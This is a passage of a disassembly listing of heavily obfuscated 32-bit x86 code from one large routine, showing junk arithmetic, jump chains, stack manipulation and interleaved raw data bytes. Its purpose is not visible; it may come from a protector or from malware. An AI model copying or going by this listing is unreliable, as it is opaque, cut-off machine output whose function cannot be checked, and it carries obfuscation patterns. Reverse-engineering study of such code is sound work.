ecx push 27DE1E13h pop ecx jmp loc_563B91 ; --------------------------------------------------------------------------- loc_55ACF8: ; CODE XREF: sub_542C3C+222B5j add esp, 4 pop [esp+0AAh+var_AA] mov esp, [esp+0A6h+var_A6] mov word ptr [esp+0A6h+var_A6], dx push ax pushf jmp loc_55354C ; --------------------------------------------------------------------------- dd 96E9E789h, 56000015h, 0FC5002BEh, 0ADEE811Eh, 464E244Ch dd 309BF681h, 0F3019B57h, 0FF9B8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AD31: ; CODE XREF: sub_542C3C+1369Cj mov ah, 9Bh jmp loc_56618B ; --------------------------------------------------------------------------- loc_55AD38: ; CODE XREF: sub_542C3C+1B173j pop esp push eax mov eax, 150B7584h jmp loc_55F9FB ; --------------------------------------------------------------------------- dd 0B3AFE957h, 0E9ADFFFFh, 0A7F7h, 0E903E3C0h, 0FFFFF682h dd 4617F381h, 0DA014C9Eh, 4B9515Bh, 3130195Ah, 240C8BCAh dd 104C483h, 0C5815AD5h, 410D0B8Ah, 4D55C581h, 8AE9721Bh db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD83: ; CODE XREF: sub_542C3C+10E86j add eax, ebp mov ebp, [esp+40h+var_40] jmp loc_558060 ; --------------------------------------------------------------------------- loc_55AD8D: ; CODE XREF: sub_542C3C+1F644j push esi jmp loc_56164D ; --------------------------------------------------------------------------- db 0BEh dd 0AEC0683h, 0CBE9F189h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD9F: ; CODE XREF: sub_542C3C+1E178j shr ecx, 3 push edx mov edx, 729276C3h push ebp mov ebp, 5BAC45B2h xor edx, ebp pop ebp sub ecx, edx jmp loc_559D96 ; --------------------------------------------------------------------------- aUsH db '(ãéÅH',0 dw 2800h dd 9C65E9D0h, 815FFFFFh, 4C7h, 2CBE5600h, 0D14C3533h, 4EE681EEh dd 0F72E9021h, 0C5E8E9D6h, 2BD0000h, 1000000h, 9702E9E8h dd 348BFFFFh, 4C48324h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 74FF240Ch, 3E90424h, 8100009Dh, 0D0766FC1h dd 59CD09B8h, 136AED81h, 0C5815E93h, 0EED3F3B9h, 6DE9E901h dd 1FFFFDBh, 0EF815DEFh, 4025A9Dh, 5047E952h, 29660000h dd 81665FFBh, 665A40CBh, 4F29E381h, 0BE665666h, 0C4E9A09Eh dd 59FFFFDFh, 8B241C87h, 0C892424h, 7E7EE924h, 0BD550000h dd 0C1C0CB88h, 15DEF01h, 0C3815FFBh, 1DE4173h, 0C102EBC1h dd 0EBC103EBh, 0CB85005h, 2D3FBE16h, 3FC9461Eh, 577AC381h dd 0C30138CCh, 577AEB81h, 48B38CCh, 4C48324h, 15E9D901h dd 510000D4h, 0EC81E188h, 4, 52241C89h, 0BEE9CE88h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AEBB: ; CODE XREF: sub_542C3C+21B9Cj xor ecx, [esp+48h+var_48] mov esp, [esp+48h+var_48] or edx, eax shl edx, 1 jmp loc_56815D ; --------------------------------------------------------------------------- dw 0E5C1h dd 0C8BE5604h, 2976B768h, 0ED815EF5h, 3F812045h, 746AED81h dd 0EB017A09h, 0E9DA295Dh, 0A9B6h ; --------------------------------------------------------------------------- loc_55AEEC: ; CODE XREF: sub_542C3C+15746j not edi shr edi, 8 shr edi, 3 add edi, 2185824h add eax, edi mov edi, [esp+0AAh+var_AA] add esp, 4 add eax, edi sub eax, 22F153Ch sub esp, 4 mov [esp+0AAh+var_AA], ebx push ecx push 5CD14D0Eh push [esp+0B2h+var_B2] pop ecx add esp, 4 xor ecx, 0E1E3DCFh push eax mov eax, 0C659C598h add ecx, eax pop eax jmp loc_554689 ; --------------------------------------------------------------------------- db 1 dd 696852C8h, 89000003h, 62682404h, 0E9289F2Fh, 0D85h ; --------------------------------------------------------------------------- loc_55AF48: ; CODE XREF: sub_542C3C+1D20Bj mov edi, 0E6D0DBDh jmp loc_56478C ; --------------------------------------------------------------------------- dw 0D305h dd 52559B3Ah, 4E6AB9BAh, 0DAF7423Ah, 17A3EA81h, 0D029C32Ch dd 90B2E9h db 0 ; --------------------------------------------------------------------------- loc_55AF6D: ; CODE XREF: sub_542C3C+1EB32j sub bl, al push eax mov al, 5Ch neg al shl al, 4 jmp loc_555696 ; --------------------------------------------------------------------------- dd 5704C483h, 0B9515F54h, 4, 5059CF01h, 42BFE9h, 53B95100h dd 0E9291B6Eh, 0CF4Ah ; --------------------------------------------------------------------------- loc_55AF9C: ; CODE XREF: sub_542C3C+1F61Aj mov [esp+0B2h+var_B2], esi jmp loc_556C83 ; --------------------------------------------------------------------------- dd 0FB9EE95Ch, 34FFFFFFh, 8C15E924h, 0E1C1FFFFh, 0D2BB5307h dd 81096914h, 0FF6BFCC3h, 6FE38110h, 8114991Fh, 0C1EB18EBh dd 0DC63E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFD2: ; CODE XREF: sub_542C3C+1F7FCj cmp cl, al pushf jmp loc_55354C ; --------------------------------------------------------------------------- loc_55AFDA: ; CODE XREF: sub_542C3C+14323j mov edi, esp jmp loc_5543DE ; --------------------------------------------------------------------------- db 5Ah, 0C1h, 0E9h dd 0F7E1D105h, 0B52FE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFEE: ; CODE XREF: sub_542C3C+11A2Dj neg esi jmp loc_566A6F ; --------------------------------------------------------------------------- db 0BAh, 39h, 40h dd 0D2F7735Eh, 5105EAC1h, 0ECD966B9h, 59CA29E7h, 0C15AD329h dd 73E905EBh, 0C0FFFFF4h, 41E906EEh, 90000CEh, 87515EF1h dd 0F7562434h, 565E2414h, 2944E9h, 5FFD0100h, 9610F581h dd 9AE997BAh, 500002Bh, 18B97F14h, 83243C8Bh, 56E904C4h dd 830000B7h, 1C8904ECh, 7D2ABB24h, 0EB81496Ah, 4B78501Ch dd 687BF381h, 0F381384Bh, 68E9576Eh, 5708E3C1h, 8CB60FBFh dd 0EEFBE908h, 6659FFFFh, 81241C8Bh, 2C4h, 241C8B00h, 4C481h dd 0E3E90000h, 5700002Eh, 9F1A2168h, 2935E970h, 0C5880000h dd 8324048Bh, 0F9E904C4h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B0A7: ; CODE XREF: sub_542C3C+1B649j pop eax jmp loc_566A02 ; --------------------------------------------------------------------------- loc_55B0AD: ; CODE XREF: sub_542C3C+20934j mov edi, 6E777EECh add edi, 91888118h add ecx, edi pop edi xor ecx, [esp+84h+var_84] xor [esp+84h+var_84], ecx xor ecx, [esp+84h+var_84] pop esp add esp, 4 shr ecx, 6 push 7E07h mov [esp+80h+var_80], ebx mov eax, [esp+80h+var_80] push ecx push esp jmp loc_561BB1 ; --------------------------------------------------------------------------- loc_55B0E0: ; CODE XREF: sub_542C3C+23B86j add eax, ecx pop ecx jmp loc_55817F ; --------------------------------------------------------------------------- loc_55B0E8: ; CODE XREF: sub_542C3C+10D4Ej mov [esp+48h+var_48], ebx jmp loc_562203 ; --------------------------------------------------------------------------- dd 3374F281h, 0EA814ED5h, 0D5EDC5D4h, 815AD301h, 4C3h dd 0E3895300h, 4C381h, 0EB830000h, 241C8704h, 241C895Ch dd 0FFD4D2E9h, 842AE9FFh, 0BB53FFFFh, 0F5D7FF53h, 1C8BDF29h dd 4C48124h, 1000000h, 83A7E9FDh, 0C4810000h, 2, 0E9D83166h dd 0A07Bh, 4EC81h, 1C890000h, 0E904B724h, 9D9Eh ; --------------------------------------------------------------------------- loc_55B158: ; CODE XREF: sub_542C3C+19A5Fj add al, dl add al, 7Bh pop edx sub al, bl push ecx jmp loc_564E87 ; --------------------------------------------------------------------------- loc_55B165: ; CODE XREF: sub_542C3C+1764Ej push [esp+80h+var_7C] pop ebx pop [esp+80h+var_80] pop esp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+7Ch+var_7C] jmp loc_554B71 ; --------------------------------------------------------------------------- loc_55B185: ; CODE XREF: sub_542C3C+2353Fj or edx, esi pop esi push eax mov eax, 43CC0976h dec eax add eax, 1CDB7D75h sub eax, 2B4607BCh sub eax, 3E535057h jmp loc_564AE2 ; --------------------------------------------------------------------------- db 0B9h dd 140B6022h, 0AB95E953h, 4B7FFFFh, 0FE8FB151h, 0E9D9F6C1h dd 5721h, 5E08950h, 4, 8704C083h, 0DDE92404h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B1CF: ; CODE XREF: sub_542C3C+1BA49j add edi, edx pop edx pop esi jmp loc_562676 ; --------------------------------------------------------------------------- loc_55B1D8: ; CODE XREF: sub_542C3C+194E7j neg ecx sub ecx, 5D4A440Ah xor ecx, 9C9C08Eh jmp loc_555362 ; --------------------------------------------------------------------------- db 88h dd 241C8BDCh, 4C481h, 88510000h, 59CB88E1h, 0C41E9h, 33255800h dd 50197161h, 0F7240C87h, 240C87D1h, 757D3558h, 630567FBh dd 897FFB55h, 0F50158C6h, 74FF555Eh, 2C8B0424h, 4C48324h dd 5C24048Fh, 2669E9h, 0B8ED8100h, 5F74DE4Dh, 897AE9h dd 2434FF00h, 592434FFh, 52E08950h, 4BAh, 0AAE95500h, 0B8000074h dd 7CC2326Bh, 0E956E8D1h, 8F68h, 4C481h, 53520000h, 0DE88EB88h dd 40AFE95Bh, 0E9510000h, 0FFFFD116h, 0A3B9840Fh, 0E9530000h dd 1870h ; --------------------------------------------------------------------------- loc_55B288: ; CODE XREF: sub_542C3C+10C13j pop esp mov [esp+50h+var_50], ebx push 0F77h mov [esp+54h+var_54], esi push ebp push esi mov esi, 5F283EF5h mov ebp, 5CDD78A2h xor ebp, esi pop esi push ebp jmp loc_556F12 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28100h, 52000000h, 42474FFh, 1860E9h, 0C8B6600h dd 0EC835324h, 24248904h, 0FFB0C6E9h, 240C89FFh, 0CD0FE9h dd 4C78100h, 0E9000000h, 0C0F2h, 4B9h, 6BBE5600h, 81553808h dd 7743D9E6h, 0E94E4E27h, 3A08h, 8B24048Fh, 48F2424h, 24248B24h dd 4B30F66h, 39E99C24h, 5FFFFF82h, 4FC38143h, 8150C451h dd 8E08B8E3h, 0E3C3811Ah, 290BC12Ch, 94E95BDEh, 2D000039h dd 4B3021DEh, 3343D62Dh, 0DE68594Ah, 8900003Eh, 4682414h dd 0FF000000h, 835A2434h, 0D6E904C4h, 5300006Ch, 0BB7E9h dd 0D830AC00h, 131DE9h, 58C38900h, 0E95BDE21h, 48F5h, 932F3635h dd 0B7B6E968h, 72680000h, 0E9000024h, 8C0Eh ; --------------------------------------------------------------------------- loc_55B380: ; CODE XREF: sub_542C3C+2421Bj shl edx, 7 xor edx, 7DF22A06h add ebx, edx pop edx push edx mov edx, 4A0E2498h or edx, 45EF7645h not edx jmp loc_567396 ; --------------------------------------------------------------------------- loc_55B39F: ; CODE XREF: sub_542C3C+1CDA6j shr eax, 3 add eax, 29796342h or ebx, eax mov eax, [esp+5Ch+var_5C] jmp loc_568446 ; --------------------------------------------------------------------------- db 0BBh, 0E6h, 55h dd 0CB877C35h, 0CB87D1F7h, 0B313EB81h, 6D2D2216h, 2D223138h dd 42DF0DF1h, 0F47BCC2Dh, 5D80176h, 76F47BCCh, 0DF1BA52h dd 8E942DFh db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B3E3: ; CODE XREF: sub_542C3C+13A61j mov [esp+84h+var_84], esi mov esi, 4 add edx, esi jmp loc_558D24 ; --------------------------------------------------------------------------- dw 0F029h dd 474B7705h, 58D82D15h, 34FF1079h, 2434FF24h, 5E2434FFh dd 59D968h, 241C8900h, 0C381E389h, 4, 4C381h, 1C870000h dd 0C4835C24h, 4EC8104h, 0E9000000h, 0FFFF9906h ; --------------------------------------------------------------------------- loc_55B430: ; CODE XREF: sub_542C3C+10FE7j pop edi jmp loc_5568BE ; --------------------------------------------------------------------------- dw 0D001h dd 423CAD2Dh, 0D0015A1Dh, 0CA14512Dh, 24148B0Bh, 81E68956h dd 4C6h, 4BD5500h, 50000000h, 0C90C9BB8h, 0A4F6E93Eh, 5B66FFFFh dd 5AE91F04h, 0E9000048h, 0FFFF80DCh, 4BEh, 68E5E900h dd 0BB530000h, 4, 0FF9E89E9h, 5B685EFFh, 0E9000036h, 1C72h ; --------------------------------------------------------------------------- loc_55B490: ; CODE XREF: sub_542C3C+1231Cj mov eax, 505236DBh jmp loc_55F125 ; --------------------------------------------------------------------------- dw 0C381h dd 1D590095h, 54F4EB81h, 0C3811686h, 0FFFFFFFFh, 6811EB81h dd 0C381100Ah, 982FA99Ch, 34FFD801h, 0C4835B24h, 5C19E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4C6: ; CODE XREF: sub_542C3C+221AAj not ebx shl ebx, 4 push 7CAh mov [esp+90h+var_90], eax mov eax, 7A8E163Ch jmp loc_561E1C ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 5C010000h, 8B5B0424h, 49E92414h, 5A0000A9h, 0FF9647E9h dd 241C87FFh, 0E924248Bh, 0FFFFCFAEh, 0BCE9E289h, 350000AFh dd 995E776Fh, 158C289h, 0AB02E9D0h, 47090000h, 24048B1Ch dd 0E904C483h, 0FFFF8028h, 0CB2AA805h, 0E8015F1Bh, 3F5ED705h dd 15B5D7Bh, 4EC81D8h, 89000000h, 10E92434h, 51FFFFFEh dd 0EA8801B5h, 0A6EBE9h, 5FFA8900h, 15AD001h, 1FBE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B55A: ; CODE XREF: sub_542C3C+22A21j push 4A28h mov [esp+94h+var_94], esi mov esi, 4E9E1F61h jmp loc_560023 ; --------------------------------------------------------------------------- loc_55B56C: ; CODE XREF: sub_542C3C+15433j neg eax add eax, 0CF8DB730h add ebx, eax jmp loc_5539CB ; --------------------------------------------------------------------------- a4biXsht db '4BˆÂXéHT',0 align 4 dd 2404335Fh, 33240431h, 0D3E92404h, 810000C8h, 68B67CE9h dd 0E6EB8195h, 81052555h, 705499C3h, 55CB297Fh, 87546ABDh dd 1C5833Bh, 57F1C581h, 0C8E9683Ah, 810000AEh, 4C3h, 70B6800h dd 14890000h, 0E3895324h, 4B951h, 0CB010000h, 4EB8359h dd 5C02E9h db 0 ; --------------------------------------------------------------------------- loc_55B5DD: ; CODE XREF: sub_542C3C+1E0DBj mov ecx, 558E4A97h xor ecx, 2A154489h shr ecx, 5 shr ecx, 6 sub ecx, 0FF35Dh add eax, ecx pop ecx push ecx jmp loc_56003C ; --------------------------------------------------------------------------- db 8, 4, 24h aSP db 'œéÑ',0 align 2 aIVqsLfiWsX db '‰<$VQS»}^«f‰Ù[Wé^X',0 align 2 loc_55B61A: ; CODE XREF: sub_542C3C+21FF4j push esp pop ebp push ebx jmp loc_56194D ; --------------------------------------------------------------------------- loc_55B622: ; CODE XREF: sub_542C3C+19261j add ecx, eax sub ecx, 39C65577h pop eax sub esp, 4 mov [esp+98h+var_98], edi mov edi, 494B628Eh and edi, 0EFF140Fh add edi, 0F7B4FFF6h add ecx, edi mov edi, [esp+98h+var_98] jmp loc_55449D ; --------------------------------------------------------------------------- loc_55B64F: ; CODE XREF: sub_542C3C+1EE58j sub edx, 14971E90h jmp loc_5684DC ; --------------------------------------------------------------------------- loc_55B65A: ; CODE XREF: sub_542C3C+25172j push ebx push 37671F8h mov ebx, [esp+0A0h+var_A2+2] add esp, 4 sub edi, 2E7520CAh add edi, ebx add edi, 2E7520CAh pop ebx and edi, 569A0E3Fh sub edi, 2438E23Eh xor eax, edi jmp loc_564BFA ; --------------------------------------------------------------------------- dd 0D0E9D301h, 0F7FFFFBAh, 4E3F35D8h, 0C3011AE0h, 241C3358h dd 0FFDBF7E9h, 50CAFEFFh, 0C220D6B0h, 80DAF658h, 0D300E6C2h dd 9B2C5Ah, 8B9B04D8h, 0C483241Ch, 4EC8304h, 0E9241C89h dd 0FFFF9752h, 0EE00585Ah, 8BF02859h, 0C4812414h, 4, 9904D828h dd 5A3868h, 241C8900h, 0C86809B3h, 0E900002Eh, 2F76h, 515BF988h dd 0EF287DB5h, 15EF8059h, 0B652CF28h, 4EEC012h, 1DE9C6FEh db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B70B: ; CODE XREF: sub_542C3C+154D4j add [esp+48h+var_44], eax mov eax, [esp+48h+var_48] add esp, 4 mov ebp, [esp+44h+var_44] add esp, 4 push edi mov edi, 4C581236h sub edi, 4C4D28B6h sub edi, 42082209h add edi, 545E573Ch jmp loc_55A673 ; --------------------------------------------------------------------------- loc_55B73B: ; CODE XREF: sub_542C3C+11B3Aj mov [esp+80h+var_80], eax mov eax, 2000000h push 1E74h mov [esp+84h+var_84], eax push 0EBDh jmp loc_5631C6 ; --------------------------------------------------------------------------- db 2Dh, 0C1h, 5Bh dd 25E97586h, 8BFFFFFEh, 0FAE9242Ch db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B767: ; CODE XREF: sub_542C3C+1FBB2j sub [esp+88h+var_84], ecx jmp loc_559B99 ; --------------------------------------------------------------------------- loc_55B770: ; CODE XREF: sub_542C3C+23E5Cj sub ebx, 419F7A78h jmp loc_562F29 ; --------------------------------------------------------------------------- db 81h dd 571835CEh, 0CAC68116h, 0E95B617Bh, 8BC8h ; --------------------------------------------------------------------------- loc_55B78C: ; CODE XREF: sub_542C3C+1F3E8j add esi, 4 add esi, 4 jmp loc_55BBD8 ; --------------------------------------------------------------------------- dw 535Ch dd 4BBh, 18BD5500h, 0F75B4465h, 81DDF7DDh, 737F79CDh, 6AC58109h dd 29B0B6E4h, 0AE4DE9EAh, 5F66FFFFh, 66D7F766h, 5C55C781h dd 0CBEF8166h, 0F88966D4h, 0FFE933E9h, 0B3EE81FFh, 1776E7Dh dd 0B3C681C6h, 52776E7Dh, 71BD5550h, 0D15F2B27h, 1ED83EDh dd 0CD02C581h, 0E955F184h, 0C30Fh ; --------------------------------------------------------------------------- loc_55B7FC: ; CODE XREF: sub_542C3C+11AC2j mov edx, [esp+80h+var_80] jmp loc_5582CD ; --------------------------------------------------------------------------- aZs db 'Zé#<',0 align 2 loc_55B80A: ; CODE XREF: sub_542C3C+166B0j jmp loc_55354C ; --------------------------------------------------------------------------- db 29h dd 0C39DE9C8h, 0F281FFFFh, 18C10093h, 316FB850h, 0C1012F5Dh dd 0FFA8BFE9h, 3C77FFFFh, 7AE95052h, 5FFFFFEEh, 8904EC83h dd 0EC81243Ch, 4, 66242C89h, 0E95B0DBDh, 57B4h ; --------------------------------------------------------------------------- loc_55B84C: ; CODE XREF: sub_542C3C+1407Dj mov edi, esi pop esi pop ebx jmp loc_55A353 ; --------------------------------------------------------------------------- db 81h, 0EBh, 4 dd 157DD6Ah, 4BA52D3h, 8157DD6Ah, 3E4E50EBh, 81D30163h dd 3E4E50C3h, 0ACE95A63h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B877: ; CODE XREF: sub_542C3C+1B36Bj sub edx, 82A89Dh add esi, edx pop edx xchg esi, [esp+80h+var_80] jmp loc_567A39 ; --------------------------------------------------------------------------- loc_55B888: ; CODE XREF: sub_542C3C+24A77j mov eax, 4 add esi, eax pop eax push edx push 5DBC3EEEh pop edx sub edx, 1 xor edx, 5DBC3EE9h jmp loc_56791E ; --------------------------------------------------------------------------- loc_55B8A8: ; CODE XREF: sub_542C3C+19B96j xchg esi, [esp+80h+var_80] mov esp, [esp+80h+var_80] jmp loc_55CF53 ; --------------------------------------------------------------------------- db 1 dd 71E958C3h, 8900000Eh, 83E9240Ch, 5600002Bh, 0E950E689h dd 492Bh ; --------------------------------------------------------------------------- loc_55B8CC: ; CODE XREF: sub_542C3C+1318Cj push esp pop ebx push 60D6h mov [esp+50h+var_50], edx mov edx, 1787167Bh or edx, 70EF7D72h xor edx, 77EF7F7Fh add ebx, edx jmp loc_564F82 ; --------------------------------------------------------------------------- loc_55B8EE: ; CODE XREF: sub_542C3C+18DD0j pop edx xchg ecx, [esp+4Ch+var_4C] pop esp jmp loc_55D2C4 ; --------------------------------------------------------------------------- loc_55B8F8: ; CODE XREF: sub_542C3C+13E28j add ebx, esi add ebx, 53CC05E3h mov esi, [esp+84h+var_84] jmp loc_55D837 ; --------------------------------------------------------------------------- dd 0CD81DDF7h, 587B40FDh, 78685051h, 587D6505h, 0BA8A5F2Dh dd 58C18959h, 0ED94C181h, 0CD29E6DCh, 84F58159h, 29D9251Ah dd 68535DE8h, 5059h, 0BE243489h, 2EB56A4Ch, 286FE9h db 0 ; --------------------------------------------------------------------------- loc_55B945: ; CODE XREF: sub_542C3C+1A6DFj pop ecx add al, dl jmp loc_562353 ; --------------------------------------------------------------------------- db 87h, 0F9h, 81h dd 9E7C1BF1h, 724BE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B95A: ; CODE XREF: sub_542C3C+12E55j add esp, 4 or eax, eax jz loc_55F53A push edx push 5B62h mov [esp+0AEh+var_AE], edi mov edi, 6F9E4B1Dh jmp loc_564DAD ; --------------------------------------------------------------------------- db 29h dd 0ACFBE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B982: ; CODE XREF: sub_542C3C+1EBB5j push ebx jmp loc_55A26A ; --------------------------------------------------------------------------- loc_55B988: ; CODE XREF: sub_542C3C+23CB2j mov ebx, esi pop esi shl ebx, 8 and ebx, 629872A7h jmp loc_5614AA ; --------------------------------------------------------------------------- db 59h, 81h, 0C6h dd 16B11A1Ah, 0FFD210E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B9A5: ; CODE XREF: sub_542C3C+22246j pop ecx add ecx, 4 jmp loc_555DBE ; --------------------------------------------------------------------------- db 81h, 0C3h, 4Fh dd 5F3D1C24h, 1C8BD831h, 4EC8124h, 89000000h, 0CE92404h dd 0FFFFFF83h, 348B2434h, 4C48324h, 81E18951h, 4C1h, 4EC8100h dd 89000000h, 0BD55241Ch, 798052F9h, 5BE9D5F7h db 3 dup(0) ; --------------------------------------------------------------------------- loc_55B9F3: ; CODE XREF: sub_542C3C+134FAj sub ecx, edx pop edx xor eax, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx jmp loc_55B8EE ; --------------------------------------------------------------------------- db 81h, 0C7h, 20h dd 29766619h, 20EF81D7h, 5A766619h, 2CC9C781h, 0EF015D9Ah dd 0C874E9h, 0E9835D00h, 240C8704h, 2424895Ch, 4240483h dd 68A0E9h db 0 ; --------------------------------------------------------------------------- loc_55BA41: ; CODE XREF: sub_542C3C+1A430j add ecx, eax add ecx, 4DC2044Fh jmp loc_55C185 ; --------------------------------------------------------------------------- dw 0ED81h dd 867FAD02h, 0E95DEB89h, 0CB0Eh, 5A66F408h, 88CBEC80h dd 386858E5h, 89000002h, 0DEB5240Ch, 0E959E800h, 0B719h dd 5760EF81h, 0EC83097Bh, 0E668E904h, 5CBEFFFFh, 8138F738h dd 0AE44EEEEh, 3E6C12Eh, 4FB9EE81h, 0E8E9FEE2h, 0B8FFFF84h dd 0D164194h, 8244401h, 246C0158h, 246C8104h, 16419404h dd 0E95D5D0Dh, 0FFFF84D6h ; --------------------------------------------------------------------------- loc_55BABC: ; CODE XREF: sub_542C3C+12633j add esp, 4 push [esp+0A2h+var_A2] push [esp+0A6h+var_A6] pop eax jmp loc_556B8C ; --------------------------------------------------------------------------- dw 0C33h dd 24248B24h, 0FF7A73E9h, 24048FFFh, 4BD55h, 6C010000h dd 74E90424h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BAEB: ; CODE XREF: sub_542C3C+23BBAj pop ebp sub esp, 4 mov [esp+0A6h+var_A6], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp+0A6h+var_A6] xor [esp+0A6h+var_A6], ecx xor ecx, [esp+0A6h+var_A6] pop esp mov [esp+0A2h+var_A2], eax mov eax, 23A255E1h add edx, eax pop eax add edx, edi sub edx, 23A255E1h mov edi, [esp] push 2BFDh mov [esp+0A2h+var_A2], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push [esp+0A6h+var_A2] pop ecx pop [esp+0A6h+var_A6] jmp loc_565ACC ; --------------------------------------------------------------------------- loc_55BB41: ; CODE XREF: sub_542C3C+2162Aj sub edx, 1 push edx not [esp+0A6h+var_A6] pop edx sub edx, 1 sub esp, 4 mov [esp+0A6h+var_A6], esi push 19E33ADCh jmp loc_554A3D ; --------------------------------------------------------------------------- loc_55BB65: ; CODE XREF: sub_542C3C+1B71Fj or edi, ebx pop ebx push edx mov edx, 201A226Ah inc edx shl edx, 8 push 0 sub [esp+0AEh+var_AE], edx pop edx add edx, 64D6B857h or edi, edx mov edx, [esp+0AAh+var_AA] add esp, 4 push 6614h jmp loc_55C0B6 ; --------------------------------------------------------------------------- dw 0E3D1h dd 0D33AF381h, 0DF3188F6h, 0E9F9895Bh, 0FFFFDC7Ah ; --------------------------------------------------------------------------- loc_55BBA8: ; CODE XREF: sub_542C3C+1BF1Dj mov [esp+0AAh+var_AA], ebp jmp loc_557096 ; --------------------------------------------------------------------------- dd 0B8240489h, 5E066AAEh, 12Dh, 2518E900h, 8B660000h, 97E92404h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBCB: ; CODE XREF: sub_542C3C+1E06Ej mov ebx, [esp+0AAh+var_AA] add esp, 4 add edi, edx jmp loc_55807D ; --------------------------------------------------------------------------- loc_55BBD8: ; CODE XREF: sub_542C3C+18B59j xchg esi, [esp+88h+var_88] pop esp add esi, 4 push edx push edi jmp loc_55F4E2 ; --------------------------------------------------------------------------- loc_55BBE9: ; CODE XREF: sub_542C3C+219DDj pop ecx jmp loc_55BD33 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68100h, 87000000h, 0FFE92434h, 540000BDh, 8124048Fh dd 42404h, 815A0000h, 4C2h, 4BF5700h, 29000000h, 14335FFAh dd 24143124h, 5C241433h, 0E9241489h, 8DC4h ; --------------------------------------------------------------------------- loc_55BC30: ; CODE XREF: sub_542C3C+14F06j xor cl, 10h jmp loc_56037C ; --------------------------------------------------------------------------- loc_55BC38: ; CODE XREF: sub_542C3C+1D99Ej mov esi, ebp push edi mov edi, esi mov eax, edi pop edi mov esi, [esp+7Ch+var_7C] add esp, 4 mov ebp, [esp+78h+var_78] jmp loc_565989 ; --------------------------------------------------------------------------- loc_55BC51: ; CODE XREF: sub_542C3C+208A0j push eax mov eax, 3A8C1F3Ch not eax add eax, 1875606Ch not eax add eax, 923DF445h sub esi, eax pop eax sub edx, esi pop esi sub edx, 0D29F9E52h add edi, edx pop edx push edi xchg ebx, [esp+74h+var_74] not ebx xchg ebx, [esp+74h+var_74] jmp loc_561755 ; --------------------------------------------------------------------------- dw 0E929h dd 81242C8Bh, 4C4h, 746E900h, 685C0000h, 2E2Ah, 0B9240C89h dd 4, 7053B850h, 0C229530Fh, 48EA8158h, 810C302Ch, 0CC1614EAh dd 0E9CA0100h, 0FFFF934Bh, 0C324C8FEh, 0FFF8B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BCC5: ; CODE XREF: sub_542C3C+114B8j mov [esp+7Ch+var_7C], ebp jmp loc_559671 ; --------------------------------------------------------------------------- db 58h, 2Dh, 4Dh dd 350FDD6Dh, 7903EFh, 0E864E12Dh, 0F825E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCE2: ; CODE XREF: sub_542C3C+240D1j add ebp, 4074192Eh add edi, ebp pop ebp add edi, esi sub edi, 450D3D72h pop esi sub edi, 6DBA4706h add edi, eax add edi, 6DBA4706h sub edi, 7FAB0502h pop eax add edi, 4 xchg edi, [esp+70h+var_70] pop esp push esi mov esi, 31D27D11h xor eax, esi mov esi, [esp+70h+var_70] add esp, 4 jmp loc_566C66 ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 9BE90000h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BD33: ; CODE XREF: sub_542C3C+18FAEj sub esi, 4 xchg esi, [esp+88h+var_88] pop esp mov [esp+84h+var_84], edi mov edi, 2 jmp loc_5555AC ; --------------------------------------------------------------------------- loc_55BD47: ; CODE XREF: sub_542C3C+129D0j shr edx, 1 jmp loc_565115 ; --------------------------------------------------------------------------- loc_55BD4E: ; CODE XREF: sub_542C3C+1A920j xor eax, 14B0780Dh add ebx, eax pop eax xor ecx, ebx jmp loc_564C35 ; --------------------------------------------------------------------------- db 1, 0D8h, 0E9h dd 4936h, 56A468h, 241C8900h, 4EC81h, 14890000h, 9ABF5724h dd 89569D7Dh, 243C8BFAh, 0E904C483h, 2D6h, 0FF2434FFh dd 0E4E92434h, 5F000088h, 0E5FFC381h, 0C681C0A2h, 15C33583h dd 6853DE01h, 39AE3A93h, 0C4BF575Bh, 0E97CAC63h, 0FFFF77B2h ; --------------------------------------------------------------------------- loc_55BDB4: ; CODE XREF: sub_542C3C+1654Bj mov eax, 5F3305ACh xor eax, 5EFC0AE5h xor eax, 44F12FF3h shr eax, 4 xor eax, 7E283424h sub eax, 2139163Ch xor eax, 0D346FA9Fh add ecx, eax jmp loc_5574BA ; --------------------------------------------------------------------------- loc_55BDDC: ; CODE XREF: sub_542C3C+1B0D9j add ebx, ecx pop ecx add ebx, 4 jmp loc_562B6B ; --------------------------------------------------------------------------- db 33h dd 248B2414h, 24D36624h, 3DE99C24h, 660000A5h, 55241C87h dd 0B5A8E9h db 0 ; --------------------------------------------------------------------------- loc_55BE01: ; CODE XREF: sub_542C3C+19469j shl ebx, 4 jmp loc_557466 ; --------------------------------------------------------------------------- db 50h, 0B8h, 19h dd 291B635Eh, 0C10158C1h, 